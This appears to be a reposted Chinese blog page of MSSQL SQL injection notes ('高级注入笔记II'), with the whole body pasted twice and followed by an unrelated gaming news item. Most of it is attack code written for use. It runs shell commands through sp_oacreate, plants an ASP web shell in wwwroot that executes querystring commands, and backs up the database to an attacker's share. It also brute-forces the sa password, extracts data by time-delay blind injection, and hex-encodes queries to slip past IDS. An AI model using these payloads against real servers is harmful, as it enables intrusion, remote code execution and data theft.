南强小屋 Design By 杰米
一些sql扩展
xp_regaddmultistring
xp_regdeletekey 删除键名
xp_regdeletevalue 删除键值
xp_regenumkeys 枚举
xp_regenumvalues
xp_regread 对于
xp_regremovemultistring
xp_regwrite 写
xp_availablemedia 查看驱动器
xp_dirtree 看目录
xp_enumdsn ODBC数据源
xp_loginconfig 一些服务器安全配置的信息
xp_makecab 打包,某些dbo权限先可做大用
xp_ntsec_enumdomains 枚举域名相关信息
xp_terminate_process 终端进程和ip啦
xp_logininfo 当前登录帐号
sp_configure 检索数据库中的内容(我觉得这个挺有用的)
sp_helpextendedproc 得到所有的存储扩展
sp_who2 查询用户,他们登录的主机,他们在数据库中执行的操作等等
一些网络信息
exec xp_regread HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'
SNMP辅助网络踩点
exec xp_regenumvalues HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcomm
unities'
开始一些系统服务,比如telnet,前提希望可以跑来admin或者一些系统密码
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
Sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll' 此扩展可以运行程序
使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:
create table foo( line varchar(8000) )
然后执行bulk insert操作把文件中的数据插入到表中,如:
bulk insert foo from 'c:\inetpub\wwwroot\admin\inc.asp'
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar
'S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,这里为'foobar'
SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情
使用'wscript.shell'对象建立了一个记事本的实例:
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',NULL,'notepad.exe'
指定在用户名后面来执行它:
Username:'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'—
使用FSO读一个已知的文本文件:
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
创建了一个能执行通过提交的命令,默认是asp那组权限的用户下运行,前提是sp_oacreate扩展存在
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out,
'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% set o = server.createobject("wscript.shell"): o.run(
request.querystring("cmd") ) %>'
sp_who '1' select * from sysobjects
针对局域网渗透,备份拖库或者非sa用户
declare @a sysname;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat ,name=test;--
当前数据库就备份到你的硬盘上了
select * from openrowset(sqloledb,myserver;sa;,select * from table) 回连,默认需要支持多语句查询
添加登录,使其成为固定服务器角色的成员。
语法
sp_addsrvrolemember [ @loginame = ] 'login'
[@rolename =] 'role'
参数
[@loginame =] 'login'
是添加到固定服务器角色的登录名称。login 的数据类型为 sysname,没有默认值。login 可以是 Microsoft? SQL Server? 登录或 Microsoft Windows NT? 用户帐户。如果还没有对该 Windows NT 登录授予 SQL Server 访问权限,那么将自动对其授予访问权限。
[@rolename =] 'role'
要将登录添加到的固定服务器角色的名称。role 的数据类型为 sysname,默认值为 NULL,它必须是下列值之一:
sysadmin
securityadmin
serveradmin
setupadmin
processadmin
diskadmin
dbcreator
bulkadmin
返回代码值
0(成功)或 1(失败)
注释
在将登录添加到固定服务器角色时,该登录就会得到与此固定服务器角色相关的权限。
不能更改 sa 登录的角色成员资格。
请使用 sp_addrolemember 将成员添加到固定数据库角色或用户定义的角色。
不能在用户定义的事务内执行 sp_addsrvrolemember 存储过程。
权限
sysadmin 固定服务器的成员可以将成员添加到任何固定服务器角色。固定服务器角色的成员可以执行 sp_addsrvrolemember 将成员只添加到同一个固定服务器角色。
示例
下面的示例将 Windows NT 用户 Corporate\HelenS 添加到 sysadmin 固定服务器角色中。
EXEC sp_addsrvrolemember 'Corporate\HelenS', 'sysadmin'
OPENDATASOURCE
不使用链接的服务器名,而提供特殊的连接信息,并将其作为四部分对象名的一部分。
语法
OPENDATASOURCE ( provider_name, init_string )
参数
provider_name
注册为用于访问数据源的 OLE DB 提供程序的 PROGID 的名称。provider_name 的数据类型为 char,没有默认值。
init_string
连接字符串,这些字符串将要传递给目标提供程序的 IDataInitialize 接口。提供程序字符串语法是以关键字值对为基础的,这些关键字值对由分号隔开,例如:"keyword1=value; keyword2=value."
在 Microsoft? Data Access SDK 中定义了基本语法。有关所支持的特定关键字值对的信息,请参见提供程序中的文档。下表列出 init_string 参数中最常用的关键字。
关键字 OLE DB 属性 有效值和描述
数据源 DBPROP_INIT_DATASOURCE 要连接的数据源的名称。不同的提供程序用不同的方法对此进行解释。对于 SQL Server OLE DB 提供程序来说,这会指明服务器的名称。对于 Jet OLE DB 提供程序来说,这会指明 .mdb 文件或 .xls 文件的完整路径。
位置 DBPROP_INIT_LOCATION 要连接的数据库的位置。
扩展属性 DBPROP_INIT_PROVIDERSTRING 提供程序特定的连接字符串。
连接超时 DBPROP_INIT_TIMEOUT 超时值,在该超时值后,连接尝试将失败。
用户 ID DBPROP_AUTH_USERID 用于该连接的用户 ID。
密码 DBPROP_AUTH_PASSWORD 用于该连接的密码。
目录 DBPROP_INIT_CATALOG 连接到数据源时的初始或默认的目录名称。
OPENDATASOURCE 函数可以在能够使用链接服务器名的相同 Transact-SQL 语法位置中使用。因此,就可以将 OPENDATASOURCE 用作四部分名称的第一部分,该名称指的是 SELECT、INSERT、UPDATE 或 DELETE 语句中的表或视图的名称;或者指的是 EXECUTE 语句中的远程存储过程。当执行远程存储过程时,OPENDATASOURCE 应该指的是另一个 SQL Server。OPENDATASOURCE 不接受参数变量。
与 OPENROWSET 函数类似,OPENDATASOURCE 应该只引用那些不经常访问的 OLE DB 数据源。对于访问次数稍多的任何数据源,请为它们定义链接的服务器。无论 OPENDATASOURCE 还是 OPENROWSET 都不能提供链接的服务器定义的全部功能,例如,安全管理以及查询目录信息的能力。每次调用 OPENDATASOURCE 时,都必须提供所有的连接信息(包括密码)。
示例
下面的示例访问来自某个表的数据,该表在 SQL Server 的另一个实例中。
SELECT *
FROM OPENDATASOURCE(
'SQLOLEDB',
'Data Source=ServerName;User ID=MyUID;Password=MyPass'
).Northwind.dbo.Categories
下面是个查询的示例,它通过用于 Jet 的 OLE DB 提供程序查询 Excel 电子表格。
SELECT *
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="c:\Finance\account.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions
针对MSDASQL 用存储过程建立的sql连接,在blackbox测试中,好象没什么注入区别
declare @username nvarchar(4000), @query nvarchar(4000)
declare @pwd nvarchar(4000), @char_set nvarchar(4000)
declare @pwd_len int, @i int, @c char
select @char_set = N'abcdefghijklmnopqrstuvwxyz0123456789!_'
select @pwd_len = 8
select @username = 'sa'
while @i < @pwd_len begin
-- make pwd
(code deleted)
-- try a login
select @query = N'select * from
OPENROWSET(''MSDASQL'',''DRIVER={SQL Server};SERVER=;uid=' + @username +
N';pwd=' + @pwd + N''',''select @@version'')'
exec xp_execresultset @query, N'master'
--check for success
(code deleted)
-- increment the password
(code deleted)
end
盲注技巧之一,时间延缓(可以加一个循环函数,运行查询时间越久说说明当前字段正确)
if (select user) = 'sa' waitfor delay '0:0:5'
if exists (select * from pubs..pub_info) waitfor delay '0:0:5'
create table pubs..tmp_file (is_file int, is_dir int, has_parent int)
insert into pubs..tmp_file exec master..xp_fileexist 'c:\boot.ini'
if exists (select * from pubs..tmp_file) waitfor delay '0:0:5'
if (select is_file from pubs..tmp_file) > 0 waitfor delay '0:0:5'
字符对比
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor
delay '0:0:5'
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s,
1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5'
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s,
1, 1)) & ( power(2, 1))) > 0 waitfor delay '0:0:5'
编码的秘密,饶过IDS
declare @q varchar(8000)
select @q = 0x73656c65637420404076657273696f6e
exec(@q)
This runs 'select @@version', as does:
declare @q nvarchar(4000)
select @q =
0x730065006c00650063007400200040004000760065007200730069006f006e00
exec(@q)
In the stored procedure example above we saw how a 'sysname' parameter can contain
multiple SQL statements without the use of single quotes or semicolons:
sp_msdropretry [foo drop table logs select * from sysobjects], [bar]
嘻嘻,不知道这次被转走以后会不会看到偶的名字呢?~要有的话,就把高级注入笔记I也发出来
xp_regaddmultistring
xp_regdeletekey 删除键名
xp_regdeletevalue 删除键值
xp_regenumkeys 枚举
xp_regenumvalues
xp_regread 对于
xp_regremovemultistring
xp_regwrite 写
xp_availablemedia 查看驱动器
xp_dirtree 看目录
xp_enumdsn ODBC数据源
xp_loginconfig 一些服务器安全配置的信息
xp_makecab 打包,某些dbo权限先可做大用
xp_ntsec_enumdomains 枚举域名相关信息
xp_terminate_process 终端进程和ip啦
xp_logininfo 当前登录帐号
sp_configure 检索数据库中的内容(我觉得这个挺有用的)
sp_helpextendedproc 得到所有的存储扩展
sp_who2 查询用户,他们登录的主机,他们在数据库中执行的操作等等
一些网络信息
exec xp_regread HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'
SNMP辅助网络踩点
exec xp_regenumvalues HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcomm
unities'
开始一些系统服务,比如telnet,前提希望可以跑来admin或者一些系统密码
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
Sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll' 此扩展可以运行程序
使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:
create table foo( line varchar(8000) )
然后执行bulk insert操作把文件中的数据插入到表中,如:
bulk insert foo from 'c:\inetpub\wwwroot\admin\inc.asp'
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar
'S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,这里为'foobar'
SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情
使用'wscript.shell'对象建立了一个记事本的实例:
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',NULL,'notepad.exe'
指定在用户名后面来执行它:
Username:'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'—
使用FSO读一个已知的文本文件:
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
创建了一个能执行通过提交的命令,默认是asp那组权限的用户下运行,前提是sp_oacreate扩展存在
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out,
'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% set o = server.createobject("wscript.shell"): o.run(
request.querystring("cmd") ) %>'
sp_who '1' select * from sysobjects
针对局域网渗透,备份拖库或者非sa用户
declare @a sysname;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat ,name=test;--
当前数据库就备份到你的硬盘上了
select * from openrowset(sqloledb,myserver;sa;,select * from table) 回连,默认需要支持多语句查询
添加登录,使其成为固定服务器角色的成员。
语法
sp_addsrvrolemember [ @loginame = ] 'login'
[@rolename =] 'role'
参数
[@loginame =] 'login'
是添加到固定服务器角色的登录名称。login 的数据类型为 sysname,没有默认值。login 可以是 Microsoft? SQL Server? 登录或 Microsoft Windows NT? 用户帐户。如果还没有对该 Windows NT 登录授予 SQL Server 访问权限,那么将自动对其授予访问权限。
[@rolename =] 'role'
要将登录添加到的固定服务器角色的名称。role 的数据类型为 sysname,默认值为 NULL,它必须是下列值之一:
sysadmin
securityadmin
serveradmin
setupadmin
processadmin
diskadmin
dbcreator
bulkadmin
返回代码值
0(成功)或 1(失败)
注释
在将登录添加到固定服务器角色时,该登录就会得到与此固定服务器角色相关的权限。
不能更改 sa 登录的角色成员资格。
请使用 sp_addrolemember 将成员添加到固定数据库角色或用户定义的角色。
不能在用户定义的事务内执行 sp_addsrvrolemember 存储过程。
权限
sysadmin 固定服务器的成员可以将成员添加到任何固定服务器角色。固定服务器角色的成员可以执行 sp_addsrvrolemember 将成员只添加到同一个固定服务器角色。
示例
下面的示例将 Windows NT 用户 Corporate\HelenS 添加到 sysadmin 固定服务器角色中。
EXEC sp_addsrvrolemember 'Corporate\HelenS', 'sysadmin'
OPENDATASOURCE
不使用链接的服务器名,而提供特殊的连接信息,并将其作为四部分对象名的一部分。
语法
OPENDATASOURCE ( provider_name, init_string )
参数
provider_name
注册为用于访问数据源的 OLE DB 提供程序的 PROGID 的名称。provider_name 的数据类型为 char,没有默认值。
init_string
连接字符串,这些字符串将要传递给目标提供程序的 IDataInitialize 接口。提供程序字符串语法是以关键字值对为基础的,这些关键字值对由分号隔开,例如:"keyword1=value; keyword2=value."
在 Microsoft? Data Access SDK 中定义了基本语法。有关所支持的特定关键字值对的信息,请参见提供程序中的文档。下表列出 init_string 参数中最常用的关键字。
关键字 OLE DB 属性 有效值和描述
数据源 DBPROP_INIT_DATASOURCE 要连接的数据源的名称。不同的提供程序用不同的方法对此进行解释。对于 SQL Server OLE DB 提供程序来说,这会指明服务器的名称。对于 Jet OLE DB 提供程序来说,这会指明 .mdb 文件或 .xls 文件的完整路径。
位置 DBPROP_INIT_LOCATION 要连接的数据库的位置。
扩展属性 DBPROP_INIT_PROVIDERSTRING 提供程序特定的连接字符串。
连接超时 DBPROP_INIT_TIMEOUT 超时值,在该超时值后,连接尝试将失败。
用户 ID DBPROP_AUTH_USERID 用于该连接的用户 ID。
密码 DBPROP_AUTH_PASSWORD 用于该连接的密码。
目录 DBPROP_INIT_CATALOG 连接到数据源时的初始或默认的目录名称。
OPENDATASOURCE 函数可以在能够使用链接服务器名的相同 Transact-SQL 语法位置中使用。因此,就可以将 OPENDATASOURCE 用作四部分名称的第一部分,该名称指的是 SELECT、INSERT、UPDATE 或 DELETE 语句中的表或视图的名称;或者指的是 EXECUTE 语句中的远程存储过程。当执行远程存储过程时,OPENDATASOURCE 应该指的是另一个 SQL Server。OPENDATASOURCE 不接受参数变量。
与 OPENROWSET 函数类似,OPENDATASOURCE 应该只引用那些不经常访问的 OLE DB 数据源。对于访问次数稍多的任何数据源,请为它们定义链接的服务器。无论 OPENDATASOURCE 还是 OPENROWSET 都不能提供链接的服务器定义的全部功能,例如,安全管理以及查询目录信息的能力。每次调用 OPENDATASOURCE 时,都必须提供所有的连接信息(包括密码)。
示例
下面的示例访问来自某个表的数据,该表在 SQL Server 的另一个实例中。
SELECT *
FROM OPENDATASOURCE(
'SQLOLEDB',
'Data Source=ServerName;User ID=MyUID;Password=MyPass'
).Northwind.dbo.Categories
下面是个查询的示例,它通过用于 Jet 的 OLE DB 提供程序查询 Excel 电子表格。
SELECT *
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="c:\Finance\account.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions
针对MSDASQL 用存储过程建立的sql连接,在blackbox测试中,好象没什么注入区别
declare @username nvarchar(4000), @query nvarchar(4000)
declare @pwd nvarchar(4000), @char_set nvarchar(4000)
declare @pwd_len int, @i int, @c char
select @char_set = N'abcdefghijklmnopqrstuvwxyz0123456789!_'
select @pwd_len = 8
select @username = 'sa'
while @i < @pwd_len begin
-- make pwd
(code deleted)
-- try a login
select @query = N'select * from
OPENROWSET(''MSDASQL'',''DRIVER={SQL Server};SERVER=;uid=' + @username +
N';pwd=' + @pwd + N''',''select @@version'')'
exec xp_execresultset @query, N'master'
--check for success
(code deleted)
-- increment the password
(code deleted)
end
盲注技巧之一,时间延缓(可以加一个循环函数,运行查询时间越久说说明当前字段正确)
if (select user) = 'sa' waitfor delay '0:0:5'
if exists (select * from pubs..pub_info) waitfor delay '0:0:5'
create table pubs..tmp_file (is_file int, is_dir int, has_parent int)
insert into pubs..tmp_file exec master..xp_fileexist 'c:\boot.ini'
if exists (select * from pubs..tmp_file) waitfor delay '0:0:5'
if (select is_file from pubs..tmp_file) > 0 waitfor delay '0:0:5'
字符对比
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor
delay '0:0:5'
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s,
1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5'
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s,
1, 1)) & ( power(2, 1))) > 0 waitfor delay '0:0:5'
编码的秘密,饶过IDS
declare @q varchar(8000)
select @q = 0x73656c65637420404076657273696f6e
exec(@q)
This runs 'select @@version', as does:
declare @q nvarchar(4000)
select @q =
0x730065006c00650063007400200040004000760065007200730069006f006e00
exec(@q)
In the stored procedure example above we saw how a 'sysname' parameter can contain
multiple SQL statements without the use of single quotes or semicolons:
sp_msdropretry [foo drop table logs select * from sysobjects], [bar]
嘻嘻,不知道这次被转走以后会不会看到偶的名字呢?~要有的话,就把高级注入笔记I也发出来
标签:
Mssql高级注入笔记II
南强小屋 Design By 杰米
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
南强小屋 Design By 杰米
暂无Mssql高级注入笔记II的评论...
稳了!魔兽国服回归的3条重磅消息!官宣时间再确认!
昨天有一位朋友在大神群里分享,自己亚服账号被封号之后居然弹出了国服的封号信息对话框。
这里面让他访问的是一个国服的战网网址,com.cn和后面的zh都非常明白地表明这就是国服战网。
而他在复制这个网址并且进行登录之后,确实是网易的网址,也就是我们熟悉的停服之后国服发布的暴雪游戏产品运营到期开放退款的说明。这是一件比较奇怪的事情,因为以前都没有出现这样的情况,现在突然提示跳转到国服战网的网址,是不是说明了简体中文客户端已经开始进行更新了呢?